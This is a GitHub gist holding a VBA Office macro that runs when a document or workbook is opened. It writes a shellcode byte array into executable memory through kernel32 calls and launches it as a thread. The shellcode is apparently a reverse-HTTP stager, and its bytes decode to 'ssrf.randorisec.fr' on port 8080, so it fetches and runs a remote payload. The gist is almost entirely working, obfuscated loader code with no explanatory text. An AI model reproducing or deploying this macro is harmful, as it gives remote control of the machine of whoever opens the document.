Skip to content

Instantly share code, notes, and snippets.

@ddouhine
Last active September 12, 2024 08:04
Show Gist options
  • Save ddouhine/a71226a9a007cab1dedd85714dcd6f21 to your computer and use it in GitHub Desktop.
Save ddouhine/a71226a9a007cab1dedd85714dcd6f21 to your computer and use it in GitHub Desktop.
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Fjtcdnbu As Long, ByVal Yya As Long, ByVal Eyjfnfctp As LongPtr, Mjbaacp As Long, ByVal Irzpli As Long, Icxunn As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Kubgdfjao As Long, ByVal Dcrskv As Long, ByVal Bxzplil As Long, ByVal Wemjan As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Ppvxldjf As LongPtr, ByRef Uvzdtvuzc As Any, ByVal Cbpxabnak As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Fjtcdnbu As Long, ByVal Yya As Long, ByVal Eyjfnfctp As Long, Mjbaacp As Long, ByVal Irzpli As Long, Icxunn As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Kubgdfjao As Long, ByVal Dcrskv As Long, ByVal Bxzplil As Long, ByVal Wemjan As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Ppvxldjf As Long, ByRef Uvzdtvuzc As Any, ByVal Cbpxabnak As Long) As Long
#EndIf
Sub Auto_Open()
Dim Ufvzf As Long, Nns As Variant, Shbvr As Long
#If Vba7 Then
Dim Qkgzqkq As LongPtr, Pnj As LongPtr
#Else
Dim Qkgzqkq As Long, Pnj As Long
#EndIf
Nns = Array(252,72,131,228,240,232,204,0,0,0,65,81,65,80,82,81,86,72,49,210,101,72,139,82,96,72,139,82,24,72,139,82,32,77,49,201,72,139,114,80,72,15,183,74,74,72,49,192,172,60,97,124,2,44,32,65,193,201,13,65,1,193,226,237,82,65,81,72,139,82,32,139,66,60,72,1,208,102,129,120,24, _
11,2,15,133,114,0,0,0,139,128,136,0,0,0,72,133,192,116,103,72,1,208,68,139,64,32,73,1,208,80,139,72,24,227,86,72,255,201,65,139,52,136,77,49,201,72,1,214,72,49,192,172,65,193,201,13,65,1,193,56,224,117,241,76,3,76,36,8,69,57,209,117,216,88,68,139,64,36,73,1, _
208,102,65,139,12,72,68,139,64,28,73,1,208,65,139,4,136,72,1,208,65,88,65,88,94,89,90,65,88,65,89,65,90,72,131,236,32,65,82,255,224,88,65,89,90,72,139,18,233,75,255,255,255,93,72,49,219,83,73,190,119,105,110,105,110,101,116,0,65,86,72,137,225,73,199,194,76,119,38,7, _
255,213,83,83,72,137,225,83,90,77,49,192,77,49,201,83,83,73,186,58,86,121,167,0,0,0,0,255,213,232,19,0,0,0,115,115,114,102,46,114,97,110,100,111,114,105,115,101,99,46,102,114,0,90,72,137,193,73,199,192,144,31,0,0,77,49,201,83,83,106,3,83,73,186,87,137,159,198,0,0, _
0,0,255,213,232,167,0,0,0,47,85,82,109,85,99,101,66,120,79,98,81,122,81,106,74,65,86,97,67,84,49,81,106,84,65,82,111,114,98,69,90,114,110,68,101,51,99,53,99,116,105,54,87,109,49,73,68,73,70,88,86,80,95,83,86,87,81,85,55,114,67,73,85,108,99,55,106,111,99,79, _
77,54,52,77,53,118,75,103,45,76,80,83,51,90,102,49,97,74,83,70,122,81,79,90,50,75,89,81,56,87,95,79,76,112,49,99,81,102,100,89,77,72,53,76,51,102,118,68,115,117,122,106,67,69,95,97,117,67,72,85,86,82,82,109,101,87,110,100,95,78,119,78,114,84,87,57,95,78,78,45, _
113,112,73,65,86,101,109,100,114,104,80,45,70,110,121,0,72,137,193,83,90,65,88,77,49,201,83,72,184,0,50,168,132,0,0,0,0,80,83,83,73,199,194,235,85,46,59,255,213,72,137,198,106,10,95,72,137,241,106,31,90,82,104,128,51,0,0,73,137,224,106,4,65,89,73,186,117,70,158,134, _
0,0,0,0,255,213,77,49,192,83,90,72,137,241,77,49,201,77,49,201,83,83,73,199,194,45,6,24,123,255,213,133,192,117,31,72,199,193,136,19,0,0,73,186,68,240,53,224,0,0,0,0,255,213,72,255,207,116,2,235,170,232,85,0,0,0,83,89,106,64,90,73,137,209,193,226,16,73,199,192, _
0,16,0,0,73,186,88,164,83,229,0,0,0,0,255,213,72,147,83,83,72,137,231,72,137,241,72,137,218,73,199,192,0,32,0,0,73,137,249,73,186,18,150,137,226,0,0,0,0,255,213,72,131,196,32,133,192,116,178,102,139,7,72,1,195,133,192,117,210,88,195,88,106,0,89,73,199,194,240,181, _
162,86,255,213)
Qkgzqkq = VirtualAlloc(0, UBound(Nns), &H1000, &H40)
For Shbvr = LBound(Nns) To UBound(Nns)
Ufvzf = Nns(Shbvr)
Pnj = RtlMoveMemory(Qkgzqkq + Shbvr, Ufvzf, 1)
Next Shbvr
Pnj = CreateThread(0, 0, Qkgzqkq, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment